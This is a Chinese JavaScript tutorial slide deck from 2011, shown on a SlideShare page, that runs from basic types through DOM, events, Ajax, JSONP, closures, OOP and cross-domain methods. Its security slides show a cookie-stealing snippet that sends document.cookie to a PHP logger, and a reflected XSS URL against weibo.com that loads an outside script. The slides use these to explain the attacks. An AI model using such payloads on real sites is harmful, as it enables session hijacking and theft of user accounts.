Javascript入门到高阶

9,531 views

Published on

大纲
第一部分:初级javascript
初级:变量类型
变量类型
基础类型
六种:undefined、string、number、boolean、object和function
typeof
对象类型
以基础类型为基础,从object这一种类型中发展起来的
instanceof
function是object

初级:关于类型的一些小题目
初级:关于类型的一些小题目[答案]
初级:常见对象方法
String
Array
Date
Math
RegExp
第二部分:中级javascript
中级
对象
location,navigator,screen……
Cookie
DOM
Events
Ajax
中级:navigator
中级:location
中级:document.cookie
Javascript对cookie操作是通过document.cookie进行的

中级:document.cookie
cookie安全
中级:DOM
DOM
节点介绍
节点
类型
遍历节点
创建节点
节点访问和修改


中级:DOM
中级:DOM-document
中级:DOM-节点查找
中级:DOM-节点遍历
中级:DOM-节点关系图
中级:DOM-创建节点
中级:DOM-节点访问、修改
中级:DOM-节点访问、修改
中级:DOM-节点属性
中级:DOM-节点属性
中级:Events-类型
Document
load, unload, resize, scroll
Mouse
mouseover, mouseout, mouseup, mousedown, click
Key
keydown, keyup, keypress
Forms
focus, blur, change, keydown, keyup, keypress
中级:Events-事件模型
中级:Events-事件监听
中级:Events-阻止冒泡
中级:Events-阻止默认事件
中级:Events-获取event/this
获取event对象:http://www.js8.in/703.html
中级:Events-事件代理(委托)
中级:Ajax
Ajax
xmlHttpRequest对象
发送
Get
Post
接收
数据类型
JSON
JSONP
中级:Ajax
Ajax
“Asynchronous JavaScript and XML”(异步的JavaScript与XML技术),是一种广泛应用在浏览器的网页开发技术。Ajax是多项技术的综合应用,Ajax概念由 Jesse James Garrett 所提出
XMLHttpRequest对象

中级:Ajax
创建XMLHttpRequest对象
中级: Ajax发送请求
GET
Ajax响应处理
onreadystatechange 事件
0: 请求未初始化
1: 服务器连接已建立
2: 请求已接收
3: 请求处理中
4: 请求已完成,且响应已就绪
中级:JSON & JSONP
JSON
JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式。
http://www.json.org

XML vs JSON
JSON应用:微博用户提示
JSON应用:微博用户提示
JSON发明者:牛鼻子老道
Douglas Crockford是JavaScript开发社区最知名的权威,是JSON、JSLint、JSMin和ADSafe之父。JavaScript的发明人Brendan Eich说他是“lambda编程和JavaScript的精神领袖”。
Yahoo的资深JavaScript架构师
YUI团队
http://www.crockford.com/
http://profiles.yahoo.com/blog/GSBHPXZFNRM2QRAP3PXNGFMFVU
中级:JSON编码
在json的官方网站提供了各种语言的编码和解码json的函数,例如php中的json_encode/json_decode
JSON.parse
JSON.stringify


JSONP
JSONP
JSONP是一个非官方的协议,它允许在服务器端集成Script tags返回至

Published in: Technology
3 Comments
35 Likes
Statistics
Notes
  • 很好,谢谢分享
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • 非常不错!!!
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • cool
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
No Downloads
Views
Total views
9,531
On SlideShare
0
From Embeds
0
Number of Embeds
1,787
Actions
Shares
0
Downloads
501
Comments
3
Likes
35
Embeds 0
No embeds

No notes for slide

Javascript入门到高阶

  1. 1. JavaScript入门到高阶<br />王永清<br />清-三水清<br />
  2. 2. 2011-8-18<br />大纲<br />初级<br />高级<br />其他<br />中级<br /><ul><li>基本语法
  3. 3. 常见对象方法
  4. 4. 常见对象
  5. 5. Cookie
  6. 6. DOM
  7. 7. Events
  8. 8. Ajax
  9. 9. 作用域
  10. 10. this关键字
  11. 11. OOP
  12. 12. 跨域
  13. 13. 安全
  14. 14. 调试工具
  15. 15. JSLint
  16. 16. 发展趋势
  17. 17. 学习资料</li></li></ul><li>2011-8-18<br />第一部分:初级javascript<br />
  18. 18. 2011-8-18<br />初级:变量类型<br />变量类型<br />基础类型<br />六种:undefined、string、number、boolean、object和function<br />typeof<br />对象类型<br />以基础类型为基础,从object这一种类型中发展起来的<br />instanceof<br />function是object<br />
  19. 19. 2011-8-18<br />初级:关于类型的一些小题目<br />null == undefined;<br />null===undefined;<br />typeof null;<br />typeof undefined;<br />vara;alert(a);<br />var a; a=1; alert(typeof a);<br />1=='1';<br />1==true;<br />1==='1';<br />a={}; alert(typeof a); <br />
  20. 20. 初级:关于类型的一些小题目[答案]<br />2011-8-18<br />null == undefined;//true<br />null===undefined;//false<br />typeof null;//object<br />typeof undefined;//undefined<br />vara;alert(a);//undefined<br />var a; a=1; alert(typeof a);//number<br />1=='1';//true<br />1==true;//true<br />1==='1';//false<br />a={}; alert(typeof a);//object<br />
  21. 21. 2011-8-18<br />初级:常见对象方法<br />"string"<br />[1,2,3][]<br />new Date(12345678901)<br />Math.PI<br />/^s|s$/img<br />String<br />Array<br />Date<br />Math<br />RegExp<br />
  22. 22. 2011-8-18<br />第二部分:中级javascript<br />
  23. 23. 2011-8-18<br />中级<br />对象<br />location,navigator,screen……<br />Cookie<br />DOM<br />Events<br />Ajax<br />
  24. 24. 2011-8-18<br />中级:navigator<br /><ul><li>alert(navigator.userAgent)
  25. 25. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0"</li></ul>var isFF =/firefox/.test(navigator.userAgent.toLowerCase());<br />
  26. 26. 2011-8-18<br />中级:location<br /><ul><li>replace()
  27. 27. 设置当前文档的URL,并在history对象的地址列表中删除这个URL
  28. 28. reload()
  29. 29. 重新载入当前文档(从server服务器端)</li></li></ul><li>中级:document.cookie<br />Javascript对cookie操作是通过document.cookie进行的<br />2011-8-18<br />document.cookie="name=value; expires=date; path=path; domain=domain; secure";<br /> //例如:<br />document.cookie=‘cookie0=testcookie; expires=Wed, 3 Aug 2011 18:47:11 UTC; domain=weibo.com; path=/’;<br />
  30. 30. 中级:document.cookie<br />cookie安全<br />2011-8-18<br />varhackImg=new Image();<br />hackImg.src =getcookie.php?cookie=”+encodeURI(document.cookie);<br /><?php<br />$cookie=urldecode($_GET['cookie']);<br />file_put_contents('cookie.txt',$cookie);<br /> <br />
  31. 31. 2011-8-18<br />中级:DOM<br />DOM<br />节点介绍<br />节点<br />类型<br />遍历节点<br />创建节点<br />节点访问和修改<br />
  32. 32. 2011-8-18<br />中级:DOM<br />
  33. 33. 2011-8-18<br />中级:DOM-document<br />
  34. 34. 2011-8-18<br />中级:DOM-节点查找<br />
  35. 35. 2011-8-18<br />中级:DOM-节点遍历<br />
  36. 36. 2011-8-18<br />中级:DOM-节点关系图<br />
  37. 37. 2011-8-18<br />中级:DOM-创建节点<br />
  38. 38. 2011-8-18<br />中级:DOM-节点访问、修改<br />
  39. 39. 2011-8-18<br />中级:DOM-节点访问、修改<br />
  40. 40. 2011-8-18<br />中级:DOM-节点属性<br /><ulid="parentDOM"><br /><liid="id1">I am No.1</li><br /><liid="id2">I am No.2</li><br /></ul><br />
  41. 41. 中级:DOM-节点属性<br />2011-8-18<br /><ulid="parentDOM"><br /><liid="id1">I am No.1</li><br /><liid="id2">I am No.2</li><br /></ul><br />vardom=document.getElementById('parentDOM');<br />var children =dom.childNodes;<br />for(vari=0,len =children.length;i<len;i++){<br />var type ="type="+ children[i].nodeType+";";<br />var name ="name="+ children[i].nodeName+";";<br />var id ="id="+ children[i].id +";";<br />vartagName="tagName="+ children[i].tagName+";";<br /> log(type+name+id+tagName);<br />}<br /> <br />
  42. 42. 中级:Events-类型<br />Document<br />load, unload, resize, scroll<br />Mouse<br />mouseover, mouseout, mouseup, mousedown, click<br />Key<br />keydown, keyup, keypress<br />Forms<br />focus, blur, change, keydown, keyup, keypress<br />2011-8-18<br />课后题:Keydown、keyup、keypress区别和用法<br />
  43. 43. 中级:Events-事件模型<br />2011-8-18<br />
  44. 44. 2011-8-18<br />中级:Events-事件监听<br />
  45. 45. 2011-8-18<br />中级:Events-阻止冒泡<br />if($.IE){<br />e.cancelBubble=true;<br />}else{<br />e.stopPropagation();<br />}<br />
  46. 46. 2011-8-18<br />中级:Events-阻止默认事件<br />if($.IE){<br />e.returnValue=false;<br />}else{<br />e.preventDefault();<br />}<br />
  47. 47. 中级:Events-获取event/this<br />获取event对象:http://www.js8.in/703.html<br />2011-8-18<br /><buttononclick="fn(event)">点我啊</button><br /><scripttype="text/javascript"><br />function fn(e){<br /> e = e ||window.event;<br /> alert(e.type);<br />}<br /></script> <br />在IE中,event是一个全局变量,即window.event,而在Firefox等,event会默认的作为第一个参数传入fn中<br />
  48. 48. 中级:Events-事件代理(委托)<br />2011-8-18<br /><ulid="parentDOM"><br /><liid="id1">I am No.1</li><br /><liid="id2">I am No.2</li><br /><liid="id3">I am No.3</li><br /><liid="id4">I am No.4</li><br /><liid="id5">I am No.5</li><br /></ul><br />不用事件代理<br />var doc = document;<br />for(vari=1;i<=5;i++){<br />vardom=doc.getElementById('id'+i);<br />dom.onclick=function(){<br />alert(this.innerHTML);<br />}<br />} <br />使用事件代理<br />vardom=document.getElementById('parentDOM');<br />dom.onclick=function(){<br />var e = arguments[0]||window.event;<br />var target =e.target||e.srcElement;<br /> alert(target.innerHTML);<br />}<br />
  49. 49. 2011-8-18<br />中级:Ajax<br />Ajax<br />xmlHttpRequest对象<br />发送<br />Get<br />Post<br />接收<br />数据类型<br />JSON<br />JSONP<br />
  50. 50. 2011-8-18<br />中级:Ajax<br />Ajax<br />“Asynchronous JavaScript and XML”(异步的JavaScript与XML技术),是一种广泛应用在浏览器的网页开发技术。Ajax是多项技术的综合应用,Ajax概念由 Jesse James Garrett 所提出<br />XMLHttpRequest对象<br />
  51. 51. 中级:Ajax<br />创建XMLHttpRequest对象<br />2011-8-18<br />functiongetXHR(){<br />if(window.XMLHttpRequest){<br />//w3c<br />returnnewXMLHttpRequest();<br />}else{<br />//IE6-<br />returnnewActiveXObject('Microsoft.XMLHTTP');<br />}<br />}<br />var xhr = getXHR();<br />Ajax实例:http://www.w3school.com.cn/example/ajax_examples.asp<br />司徒正美《高效地获取XMLhttp对象》http://www.cnblogs.com/rubylouvre/archive/2010/01/06/1640148.html<br />
  52. 52. 中级: Ajax发送请求<br />GET<br />2011-8-18<br />xhr.open("GET","http://www.example.com/resource",false);<br />var response =xhr.send(null); <br /><ul><li>POST</li></ul>xhr.open("POST","http://www.example.com/resource",false);<br />var response =xhr.send("key=value&name=Theo");<br /> <br /><ul><li>设置请求头</li></ul>xhr.setRequestHeader(header,value);<br />xhr.setRequestHeader(“Content-type”,“application/x-www-form-urlencoded”);<br />
  53. 53. Ajax响应处理<br />2011-8-18<br /><ul><li>获得来自服务器的响应,使用 XMLHttpRequest 对象的 responseText 或 responseXML 属性。</li></ul>xhr.open("POST","http://www.example.com/resource",false);<br />var response =xhr.send("key=value&name=Theo");<br />alert(response.responseText);<br />alert(response.responseXml);<br />
  54. 54. onreadystatechange 事件<br />2011-8-18<br /><ul><li>监听ajax请求状态</li></ul>xhr.onreadystatechange=function(){<br />if(xhr.readyState==4&& xhr.status==200){<br /> alert(xhr.responseText);<br />}<br />}<br />0: 请求未初始化<br />1: 服务器连接已建立<br />2: 请求已接收<br />3: 请求处理中<br />4: 请求已完成,且响应已就绪<br />课后题:http请求状态码<br />
  55. 55. 中级:JSON & JSONP<br />JSON<br />JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式。<br />http://www.json.org<br />2011-8-18<br />{<br /> "name":"张三",<br /> "password":"123456",<br /> "department":"技术部",<br /> "sex":"男",<br /> "old":30<br />}<br />
  56. 56. XML vs JSON<br />2011-8-18<br /><?xmlversion="1.0"encoding="utf-8"?><br /><user><br /><name>张三 </name><br /><password>123456</password><br /><department>技术部</department><br /><sex>男</sex><br /><old>30</old><br /></user><br />{<br /> "name":"张三",<br /> "password":"123456",<br /> "department":"技术部",<br /> "sex":"男",<br /> "old":30<br />}<br />
  57. 57. JSON应用:微博用户提示<br />2011-8-18<br />
  58. 58. JSON应用:微博用户提示<br />2011-8-18<br />
  59. 59. JSON发明者:牛鼻子老道<br />Douglas Crockford是JavaScript开发社区最知名的权威,是JSON、JSLint、JSMin和ADSafe之父。JavaScript的发明人Brendan Eich说他是“lambda编程和JavaScript的精神领袖”。<br />Yahoo的资深JavaScript架构师<br />YUI团队<br />http://www.crockford.com/<br />http://profiles.yahoo.com/blog/GSBHPXZFNRM2QRAP3PXNGFMFVU<br />2011-8-18<br />
  60. 60. 中级:JSON编码<br />在json的官方网站提供了各种语言的编码和解码json的函数,例如php中的json_encode/json_decode<br />JSON.parse<br />JSON.stringify<br />2011-8-18<br />
  61. 61. JSONP<br />JSONP<br />JSONP是一个非官方的协议,它允许在服务器端集成Script tags返回至客户端,通过javascript callback的形式实现跨域访问<br />云输入法,搜索提示<br />2011-8-18<br />
  62. 62. JSONP应用:云输入法<br />2011-8-18<br />
  63. 63. 2011-8-18<br />var JSONP = document.createElement("script");<br />//FF:onload IE:onreadystatechange<br />JSONP.onload = JSONP.onreadystatechange =function(){<br />//onreadystatechange,仅IE<br />}<br />JSONP.type ="text/javascript";<br />JSONP.src ="/fcgi-bin/getword?cb=window.QQWebIME.callback971&q=weibo";<br />//在head之后添加js文件<br />document.getElementsByTagName(“head”)[0].appendChild(JSONP);<br />思考题:为什么不用json?<br />
  64. 64. 2011-8-18<br />第三部分:高级javascript<br />
  65. 65. 高级:作用域<br />2011-8-18<br />vari=10;<br />function fn(){<br />vari=20;<br />var a =3;<br /> alert(i);//20<br />}<br />fn();<br />alert(i);<br />alert(a);<br />function fn(){<br />vari=20;<br />var a =3;<br /> alert(i);<br />}<br />//20<br />//10<br />//error undefined<br />fn的执行环境是window,fn的定义环境是function中。<br />根据词法作用域,fn的作用域应该是在定义它的function中,而不是在其执行的环境相同的vari=10;(window)中<br />
  66. 66. 高级:作用域<br />2011-8-18<br />vara = 1;<br />function fn1(){<br />var a =9;<br />function fn2(){<br /> alert(a);<br />}<br />}<br />fn1();<br />2011-8-18<br />function fn1(){<br />var a =9;<br />function fn2(){<br /> alert(a);<br />}<br />}<br />function fn2(){<br /> alert(a);<br />}<br />fn2();<br />
  67. 67. 高级:作用域链<br />vara = 1;<br />function fn1(){<br />var a =9;<br />function fn2(){<br /> alert(a);<br />}<br />}<br />fn1();<br />Fn2 Activation Obj<br />Fn1 Activation Obj<br />GlobalObj(window)<br />this<br />window<br />arguments<br />[]<br />fn2<br />function<br />this<br />window<br />arguments<br />[]<br />fn1<br />function<br />a<br />9<br />this<br />window<br />arguments<br />[]<br />fn1<br />function<br />a<br />1<br />作用域链<br />0<br />1<br />2<br />2011-8-18<br />function fn1(){<br />var a =9;<br />function fn2(){<br /> alert(a);<br />}<br />}<br />function fn2(){<br /> alert(a);<br />}<br />fn2();<br />fn2 <br />execution context<br />Scope chain<br />
  68. 68. 高级:作用域<br />在function中未使用var声明的变量为全局变量<br />全局变量为window对象下的属性<br />2011-8-18<br />vari=10;<br />function fn(){<br />i=20;<br /> alert(window.i);<br />}<br />fn();<br />alert(i);<br />for(vari=0;i<10;i++){<br />//do something<br />}<br />alert(i);<br />alert(window.i);<br /> <br />//20<br />//10<br />//10<br />//20<br />function fn(){<br />i=10;<br />vari=20;<br /> alert(i);<br /> alert(window.i);<br />}<br />//20<br />//undefined<br />
  69. 69. 高级:匿名函数<br />2011-8-18<br />1.写法一<br />(function(){<br />//do something<br />})();<br />2.写法二<br />(function(){<br />//do something<br />}());<br />3.写法三 <br />voidfunction(){<br />//do something<br />}();<br />4.写法四<br />!function(){<br />//do something<br />}();<br />
  70. 70. 高级:匿名函数<br />传参数<br />(function(win,doc){<br />varobj={};<br /> obj.$ =function(id){<br />returndoc.getElementById(id);<br />}<br /> win.obj =obj;<br />})(window,document);<br /> <br /><ul><li>递归</li></ul>(function(n){<br />if(n <=0){<br />return1;<br />}else{<br />return n *arguments.callee(n-1);<br />}<br />})(4); <br />2011-8-18<br />
  71. 71. 高级:this关键字<br />2011-8-18<br /><ul><li>在Javascript中,this关键字永远都指向函数(方法)的所有者</li></ul>vari=10;<br />function fn(){<br />this.i=20;<br /> alert(this.i);<br />}<br />fn();<br />alert(window.i);<br />vari=10;<br />function fn(){<br />this.i=20;<br /> alert(this.i);<br />}<br />varmyFn=new fn();<br />alert(window.i);<br />//20<br />//20<br />//20<br />//10<br /><inputvalue=“10”onclick=“alert(this.value);”/><br />
  72. 72. 高级:this关键字<br />this是可以指代的!<br />Function对象有两个方法:call()和apply()。这两个方法都支持指定一个函数中的this。<br />2011-8-18<br />vari=10;<br />function fn(){<br /> alert(this.i);<br />}<br />fn.call(window);<br />varobj={'i':1};<br />function fn(){<br /> alert(this.i);<br />}<br />fn.apply(obj);<br /> <br />//10<br />//1<br />Call和apply第二个参数不同,二者可以用下面关系来表示<br />fn.call(obj, arg1,arg2,arg3……)==fn.apply(obj, [arg1……])== obj.foo(arg1, arg2, arg3……)<br />
  73. 73. 高级:this or that<br />2011-8-18<br />varmyObject={};<br />myObject.method=function(){<br />this.WhoAmI="I'm A";<br />function test(){<br />this.WhoAmI=“I’m B";<br />}<br /> test();<br />returnthis.WhoAmI;<br />};<br />myObject.method();<br />window.WhoAmI;<br /> <br />myObject.method();//I'm A<br />window.WhoAmI;//I'm B <br />
  74. 74. 高级:this or that<br />2011-8-18<br />varmyObject={};<br />myObject.method=function(){<br />this.WhoAmI="I'm A";<br />var that =this;<br />function test(){<br />that.WhoAmI="I'm B";<br />}<br /> test();<br />returnthis.WhoAmI;<br />};<br />myObject.method()// I'm B<br />←这里赋值给that变量<br />
  75. 75. 2011-8-18<br />高级:命名空间<br />javascript的语言限制,并没有象C++,JAVA一样强大的命名空间。但在软件开发后期,命名空间又是必不可少的,它可以解决几乎所有的命名冲突问题<br />Javascript也可以通过代码技巧实现命名空间<br />
  76. 76. 高级:STK命名空间<br />2011-8-18<br />Namespace=new Object();<br />Namespace.register=function(namespace){<br />varnsArray=namespace.split('.');<br />varsEval="";<br />varsNS="";<br />for(vari=0;i<nsArray.length;i++){<br />if(i!=0)sNS+=".";<br />sNS+=nsArray[i];<br />sEval+="if(typeof("+sNS+")=='undefined')"+sNS+"=new Object();"<br />}<br />if(sEval!="")eval(sEval);<br />}<br />
  77. 77. 2011-8-18<br />Namespace(‘a.b.c);<br />var a ={<br /> b:{<br />c<br />}<br />}<br />
  78. 78. 2011-8-18<br />高级:闭包<br />function fn1(){<br />var a =9;<br />function fn2(){<br />alert(a);//error<br />function fn1(){<br />var a =9;<br />}<br />怎么访问函数内部的变量呢?改成全局变量?no!全局变量是魔鬼!<br />闭包<br />function fn1(){<br />var a =9;<br />function fn2(){<br /> alert(a);<br />}<br />return fn2;<br />}<br />var fn = fn1();<br />fn();<br />
  79. 79. 高级:闭包<br />由于作用域链关系,闭包中的变量始终存在内存中,得不到释放<br />既是优点<br />也是缺点<br />应用<br />setTimeout/setInterval<br />Callback<br />Event handle<br />2011-8-18<br />
  80. 80. 2011-8-18<br />闭包应用<br />function fn(){<br />var nodes =document.getElementsByTagName('a');<br />for(vari=0, l =nodes.length;i< l;i++){<br /> nodes[i].onclick=function(){<br /> alert(i);<br />returnfalse;<br />}<br />}<br />}<br />fn(); <br />nodes[i].onclick=function(){<br /> alert(i);<br />returnfalse;<br />}<br />closure<br />http://jsfiddle.net/GRp72/<br />
  81. 81. 2011-8-18<br />闭包应用<br />function fn(){<br />var nodes =document.getElementsByTagName('a');<br />for(vari=0, l =nodes.length;i< l;i++){<br /> nodes[i].onclick=(function(j){<br />returnfunction(){<br /> alert(j);<br />returnfalse;<br />}<br /> })(i);<br />}<br />}<br />fn(); <br />returnfunction(){<br /> alert(j);<br />returnfalse;<br />}<br />closure<br />http://jsfiddle.net/qBUBy/1/<br />
  82. 82. 2011-8-18<br />高级:OOP<br />面向对象OOP<br />new<br />prototype<br />继承写法<br />
  83. 83. 2011-8-18<br />高级:OOP<br />javascript中没有真正意义上的类<br />类Animal:<br />var Animal =function(name,legs){<br />this.name = name;<br />this.legs= legs;<br />};<br />var cat =new Animal('hello kitty',4);<br /> <br />运用javascript的new关键字创建一个Animal的实例<br />
  84. 84. 高级:OOP<br />prototype关键字<br />2011-8-18<br />var Fn =function(){<br />this.xxx =[];<br />};<br />Fn.prototype.yyy=[];<br />var a =new Fn();<br />var b =new Fn();<br />a.xxx.push(1);<br />a.yyy.push(1);<br />alert([a.xxx.length,b.xxx.length]);<br />alert([a.yyy.length,b.yyy.length]); <br />//1,0<br />//1,1<br />
  85. 85. this or prototype<br />2011-8-18<br />var Animal =function(name,legs){<br />this.name = name;<br />this.legs= legs;<br />this.sayName=function(){<br /> alert('my name is '+this.name);<br /> };<br />};<br />这段代码你有什么更好的写法?<br />
  86. 86. 优化<br />2011-8-18<br />var Animal =function(name,legs){<br />this.name = name;<br />this.legs= legs;<br />};<br />Animal.prototype={<br />sayName:function(){<br /> alert('my name is '+this.name);<br />}<br />}<br />OR<br />var Animal =function(name,legs){<br />this.name = name;<br />this.legs= legs;<br />};<br />Animal.prototype.sayName=function(){<br /> alert('my name is '+this.name);<br />};<br />
  87. 87. 高级:原型链<br />对象通过一个内部属性绑定到它的原型,在firefox,chrome,safari中,这个属性__proto__对开发中可见,而在其他的浏览器却不允许脚本访问此属性。<br />var Animal =function(name,legs){<br />this.name = name;<br />this.legs= legs;<br />};<br />Animal.prototype.sayName=function(){<br /> alert('my name is '+this.name);<br />};<br />var cat =new Animal('hello kitty',4);<br />var bird =new Animal('polly',2); <br />cat<br />bird<br />Animal.prototype<br />Animal<br />Object<br />__proto__<br />__proto__<br />__proto__<br />prototype<br />__proto__<br />null<br />name<br />hello kitty<br />name<br />polly<br />constructor<br />toString<br />(function)<br />legs<br />4<br />legs<br />2<br />sayName<br />(function)<br />valueOf<br />(function)<br />……<br />……<br />2011-8-18<br />
  88. 88. 高级:OOP<br />2011-8-18<br />父类Animal<br />var Animal =function(){<br />this.fly =function(){<br />if(this.wing){<br /> alert(this.name +' can fly!');<br />}<br />}<br />};<br />Cat、Bird子类:<br />var Cat =function(name,legs){<br />this.name = name;<br />this.legs= legs;<br />this.wing=false;<br />};<br />var Bird =function(name,legs){<br />this.name = name;<br />this.legs= legs;<br />this.wing=true;<br />};<br />
  89. 89. 高级:OOP<br />2011-8-18<br />Cat和Bird都是Animal的子类,即:Cat和Bird要继承自Animal<br />方法一:apply<br />var Cat =function(name,legs){<br />Animal.apply(this);<br />this.name = name;<br />this.legs= legs;<br />this.wing=false;<br />};<br />var Bird =function(name,legs){<br />Animal.apply(this);<br />this.name = name;<br />this.legs= legs;<br />this.wing=true;<br />};<br />var cat =new Cat('hello kitty',4);<br />cat.name;//hello kitty<br />var bird =new Bird('polly',2);<br />bird.fly();//polly can fly!<br />
  90. 90. 高级:OOP<br />2011-8-18<br />方法二:prototype + new<br />Cat.prototype=new Animal();<br />Cat.prototype.constructor= Cat;<br />Bird.prototype=new Animal();<br />Bird.prototype.constructor= Bird;<br />var cat =new Cat('hello kitty',4);<br />cat.name;//hello kitty<br />var bird =new Bird('polly',2);<br />bird.fly();//polly can fly!<br />
  91. 91. 高级:OOP<br />2011-8-18<br />方法三:直接使用prototype<br />//父类使用prototype写法<br />var Animal =function(){};<br />Animal.prototype.fly=function(){<br />if(this.wing){<br /> alert(this.name +' can fly!');<br />}<br />}<br />//封装的继承函数extend<br />function extend(Child, Parent){<br />var F =function(){};<br />F.prototype=Parent.prototype;<br />Child.prototype=new F();<br />Child.prototype.constructor= Child;<br />}<br />extend(Cat,Animal);<br />extend(Bird,Animal);<br />var cat =new Cat('hello kitty',4);<br />cat.name;//hello kitty<br />var bird =new Bird('polly',2);<br />bird.fly();//polly can fly! <br />
  92. 92. 高级:OOP<br />方法四:object对象拷贝<br />functionextendCopy(Child, Parent){<br />var p =Parent.prototype;<br />var c =Child.prototype;<br />for(variin p){<br /> c[i]= p[i];<br />}<br />}<br />extendCopy(Cat,Animal);<br />extendCopy(Bird,Animal);<br />var cat =new Cat('hello kitty',4);<br />cat.name;//hello kitty<br />var bird =new Bird('polly',2);<br />bird.fly();//polly can fly! <br />2011-8-18<br />
  93. 93. 2011-8-18<br />高级:跨域<br />构成不同域名的情况<br /><ul><li> host不同:不同的主域名,子域名
  94. 94. 协议不同:http和https
  95. 95. 端口不同:80端口和8080端口</li></li></ul><li>2011-8-18<br />高级:跨域<br /><ul><li>document.domain
  96. 96. 跨子域名
  97. 97. jsonp
  98. 98. 不支持post
  99. 99. FIM(Fragment Identifier Messaging)
  100. 100. 通过url传值,长度受限制
  101. 101. flash
  102. 102. 需要部署flash文件及crossdomain.xml
  103. 103. window.name
  104. 104. 需要iframe配合
  105. 105. postMessages(html5)
  106. 106. 不支持IE6-7
  107. 107. 服务器代理
  108. 108. curl等抓取方式,效率比直接跨域请求效率要低</li></li></ul><li>微博JSSDK跨域方式<br />2011-8-18<br />postMessage<br />在HTML5中新增了postMessage方法,postMessage可以实现跨文档消息传输(Cross Document Messaging),IE8, IE9, Firefox 3, Opera 9, Chrome 3和 Safari 4都支持postMessage。<br />window.name<br />window对象的name属性是一个很特别的属性,当该window的location变化,然后重新加载,它的name属性可以依然保持不变。我们可以根据这种特性来实现跨域请求。<br />
  109. 109. 2011-8-18<br />
  110. 110. 2011-8-18<br />高级:安全<br />XSS<br />XSS Cheat Sheet:http://ha.ckers.org/xss.html<br />有输入的地方就有XSS<br />http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update<br />http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update<br />
  111. 111. 高级:安全<br />CSRF(Cross Site Request Forgery)是伪造客户端请求的一种攻击,字面上的意思是跨站点伪造请求。<br />防范措施:<br />正确使用GET、POST和Cookie<br />使用Referer判断请求来源<br />在请求中使用Security token<br />2011-8-18<br />
  112. 112. 2011-8-18<br />第四部分:其他<br />
  113. 113. 2011-8-18<br />其他<br />编辑器:Apanta、notePad++……<br />调试工具<br />Firefox:firebug<br />IE:debugBar, Companion.js<br />Chrome:开发者工具<br />JSLint<br />未来趋势<br />HTML5<br />nodeJS<br />学习资料<br />网站&Rss<br />书籍<br />前端会议<br />
  114. 114. 2011-8-18<br />
  115. 115. 其他:JSLint<br />JSLint是 Douglas Crockford创建的js代码质量检测工具。虽然 JSLint不能保证代码逻辑一定正确,但却有助于发现错误并教会开发人员一些好的编码实践。<br />2011-8-18<br />Jslint.com<br />
  116. 116. 2011-8-18<br />Javascript发展趋势<br />HTML5<br />未来的(x)html和DOM标准,仍然处于完善阶段,不过市面上的浏览器已经开始支持html5<br />语义化标记<br />图像处理<br />媒体支持<br />改善用户界面<br />网络存储<br />网络通信<br />移动设备支持<br />增强可访问性<br />node.js<br />服务器端js<br />单线程<br />非阻塞IO<br /> Google V8<br />事件驱动<br />
  117. 117. 2011-8-18<br />Javascript书籍<br />
  118. 118. 2011-8-18<br />网站&Rss资源<br />http://www.w3school.com.cn/js/index.asp<br />http://www.javascriptkit.com<br />国内知名UED团队博客<br />ITFeed.cn<br />http://ajaxian.com<br />http://net.tutsplus.com<br />http://cssglobe.com<br />
  119. 119. 前端会议<br />2011-8-18<br />
  120. 120. 打完收工<br />2011-8-18<br />Q & A<br />
  121. 121. 2011-8-18<br />中级:DOM学习资料<br />http://www.howtocreate.co.uk/tutorials/javascript/domstructure<br />https://developer.mozilla.org/en/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces<br />
  122. 122. 中级:Events-事件代理(委托)<br />2011-8-18<br />jQuery和YUI中使用事件代理<br />Event delegation with jQuery: http://danwebb.net/2008/2/8/event-delegation-made-easy-in-jquery<br />Event delegation with YUI: http://icant.co.uk/sandbox/eventdelegation/<br />
  123. 123. 中级:Events-资料<br />事件对象:http://www.w3school.com.cn/htmldom/dom_obj_event.asp<br />js事件详解:http://www.nowamagic.net/javascript/js_EventMechanismInDetail.php<br />Event compatibility tables:http://quirksmode.org/dom/events/<br />2011-8-18<br />
  124. 124. 高级:闭包<br />http://blog.morrisjohns.com/javascript_closures_for_dummies.html<br />https://developer.mozilla.org/en/JavaScript/Guide/Closures<br />http://www.cn-cuckoo.com/2007/08/01/understand-javascript-closures-72.html<br />http://www.ruanyifeng.com/blog/2009/08/learning_javascript_closures.html<br />2011-8-18<br />
  125. 125. 高级:OOP资料<br />Douglas Crockford - Prototypal Inheritance in JavaScript<br />Douglas Crockford - Classical Inheritance in JavaScript<br />John Resig - Simple JavaScript Inheritance<br />Dean Edwards - A Base Class for JavaScript Inheritance<br />Javascript继承写法:http://www.js8.in/698.html<br />2011-8-18<br />
  126. 126. 跨域的资料<br />2011-8-18<br /><ul><li>postMessage
  127. 127. http://dev.w3.org/html5/postmsg/#dom-window-postmessage
  128. 128. 跨域资源共享的10种方式
  129. 129. http://ued.koubei.com/?p=1291
  130. 130. CrossDomain
  131. 131. http://code.google.com/p/j-et/wiki/CrossDomain
  132. 132. 跨域实例
  133. 133. https://github.com/colorhook/crossdomain</li></li></ul><li>

×